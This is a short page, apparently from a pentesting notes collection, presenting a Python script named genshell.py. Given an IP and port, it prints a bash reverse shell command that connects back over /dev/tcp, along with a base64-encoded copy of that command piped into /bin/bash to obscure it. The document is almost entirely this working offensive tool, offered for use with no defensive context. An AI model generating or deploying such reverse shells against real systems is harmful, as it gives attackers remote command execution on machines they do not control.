Reverse Shells

Generate a quick bash reverse shell in python

genshell.py
#!/usr/bin/env python3
import base64
import sys
import os

if "-h" in sys.argv or "--help" in sys.argv or len(sys.argv) != 3:
    print("[!] INTERFACES:")
    print(os.popen("ip a").read().strip())
    print("")
    print("[!] Usage: genshell <IP> <PORT>")
    exit(1)


ip = sys.argv[1]
port = sys.argv[2]
rev_shell = f'bash -i >& /dev/tcp/{ip}/{port} 0>&1'
print(f'[*] command: {rev_shell}')
exec_cmd = f'echo {base64.b64encode(rev_shell.encode()).decode()} | base64 -d | /bin/bash'
print(exec_cmd)